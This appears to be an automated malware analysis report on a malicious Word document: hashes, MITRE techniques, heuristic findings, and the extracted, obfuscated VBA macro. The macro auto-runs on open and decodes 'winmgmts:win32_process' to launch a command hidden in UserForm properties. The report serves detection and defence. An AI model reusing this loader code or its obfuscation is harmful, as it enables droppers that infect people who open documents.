Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 312a35dc2607bb45…

MALICIOUS

Office (OLE)

168.8 KB Created: 2020-08-06 14:42:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: f46056cbc71e3e02a6e569d5aed0a5d7 SHA-1: a08d4e58b3ba5af86fcd7233d69dbed5cd08153c SHA-256: 312a35dc2607bb45cb6f11c30866337d58a1d0fa3cef9bbaaaf09abbe35f9e79
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. A critical heuristic identified a hidden UserForm acting as a command stager, which is designed to execute obfuscated code. This code likely downloads and executes a secondary payload, as indicated by the ClamAV detection name 'Doc.Dropper.Sagent-9237719-0'. The presence of the Document_Open macro and CreateObject calls further supports this dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Sagent-9237719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Sagent-9237719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4117 bytes
SHA-256: a24443107b2e9bb07299bce1e9273a352e4e109a7c60560818bed0b5b0d68064
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AGMCTptusjaomjmd"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
UOIPHulrfvqwkwbe.ZZJSIdqeyvpqf
End Sub


Attribute VB_Name = "UOIPHulrfvqwkwbe"
Attribute VB_Base = "0{F31B7E2F-9CDC-4874-8D40-E368FC4DA80B}{BAC344FC-8092-47AD-9D1B-8963D4486F7E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ZZJSIdqeyvpqf()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
ORYAHjevzdthka = Chr(UOIPHulrfvqwkwbe.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
MGUQAefkllaklinl = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + ORYAHjevzdthka + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + UOIPHulrfvqwkwbe.RNHMFpsqxvugvtjy + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
AINTDnvgobpzx = AXCDIlwwekzoyqjc(MGUQAefkllaklinl)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set EPYVRzjdltprgjsmj = CreateObject(AINTDnvgobpzx)
Dim MYsmbE7 As Long
UDMRHtlcfmdycmb = UOIPHulrfvqwkwbe.IIFXZkuzielk.ControlTipText
Dim VvSOR1Öop As Variant
SJJIPecddtclz = nsbuqwd + (AINTDnvgobpzx + ORYAHjevzdthka + UOIPHulrfvqwkwbe.HSOVXybwehuyergki.ControlTipText + UDMRHtlcfmdycmb)
GoTo VB1ÍlR
VB1ÍlR:
MDZCKvmldufnp = SJJIPecddtclz + UOIPHulrfvqwkwbe.RNHMFpsqxvugvtjy
Dim u6ÑPouprUqC As Double
Set KLETNpirhftljijvo = MBZYQcllceatihidxx(MDZCKvmldufnp)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", EPYVRzjdltprgjsmj. _
Create(WTFUXybfeivgugayfeu, YKNPEjeailjobedioxk, KLETNpirhftljijvo), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function MBZYQcllceatihidxx(ZECCIvodnxqprwebw)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set MBZYQcllceatihidxx = CreateObject(ZECCIvodnxqprwebw)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
MBZYQcllceatihidxx. _
showwindow = ZVYBTgizhxqrh + FIEMSmleipvhuwsoa + WRZCLlvxbftlv
Dim uebuZa As Variant
End Function
Function AXCDIlwwekzoyqjc(FZSNSboaunfhno)
MZWQOxgwwahmhmtyhr = FZSNSboaunfhno
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
JYQDBzxnlpjxeflm = Split _
(MZWQOxgwwahmhmtyhr, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
LNGRNurnjjbohfv = ms + Join(JYQDBzxnlpjxeflm, e2)
GoTo cDCrGvM
cDCrGvM:
AXCDIlwwekzoyqjc = LNGRNurnjjbohfv
Dim V5Ü8ÍA As Variant
End Function
Function WTFUXybfeivgugayfeu()
kqhlwie = UOIPHulrfvqwkwbe.QYDALdkdtrrgwabbw.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
WTFUXybfeivgugayfeu = AXCDIlwwekzoyqjc(kqhlwie)
GoTo aknR
aknR:
End Function

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